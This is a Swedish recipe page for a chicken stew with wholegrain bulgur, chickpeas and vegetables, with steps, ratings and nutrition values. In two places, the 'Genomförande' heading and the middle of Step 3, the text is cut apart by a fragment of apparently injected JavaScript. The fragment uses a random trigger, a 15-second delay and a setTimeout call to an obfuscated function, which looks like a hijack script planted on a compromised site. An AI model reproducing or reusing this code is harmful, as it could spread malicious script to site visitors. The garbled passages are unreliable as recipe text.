Stark kycklinggryta med fullkornsbulgur

2013-06-28
c720000ae01211e2b8cc22000a1d2017_7f9515a1ae01211e282b422000a1f9ab7_7
  • Yield : 1
  • Servings : 1
  • Prep Time : 10m
  • Cook Time : 15m
  • Ready In : 25m

En rätt full med protein och kolhydrater. Passar utmärkt såväl innan som efter ett träningspass.

Genomförandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}e

Ingredienser

  • 200g kycklingfilé 
  • 1dl milda mat lätt&fyllig 4%
  • 100g kokt fullkornsbulgur
  • 50g kikärtor
  • champinjoner
  • 1/4 paprika
  • 1/2dl gröna ärtor
  • 1/4 gul lök
  • vitlök
  • 1/2 tsk sambal oelek

Steg 1

Koka fullkornsbulgurn enligt förpackningen, gärna i lite hönsbuljong.

Steg 2

Hacka gul lök, paprika samt champinjoner i den storlek du önskar och stek tills allt fått lite färg. Pressa i vitlök. Ställ åt sidan.

Steg 3

Strimla kycklingen och stek tills den är färdig, blandandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}a ner grönsakerna i slutet och även de gröna ärtorna.

Steg 3

Häll över Milda mat lätt&fyllig. Tillsätt sambal oelek, salt, peppar, chili och cayennepeppar efter smak.

Steg 4

Låt koka ihop och servera!

Recipe Type: , Ingredienser:
Medlemsbetyg

(4.3 / 5)

4.3 5 7
Betygsätt recept

7 people rated this recipe

Related Recipes:
  • Nutellapannkakor

    Nutellapannkakor

  • image

    Fisksoppa med smak av tomat och vitlök

  • image

    Hamburgare med äggbröd

  • _SAM0102

    T-bone steak, rostad potatis, vitlöks/dragon dressing med rawsallad.

  • närbild_kontrast

    Choklad proteinpannkakor med jordnötssmör

Näringssinnehåll

Informationen gäller per portion

  • Kalorier

    412
  • Kolhydrater

    43g
  • Protein

    46g
  • Fett

    7g

Recipe Comments

Post A Comment

Current ye@r *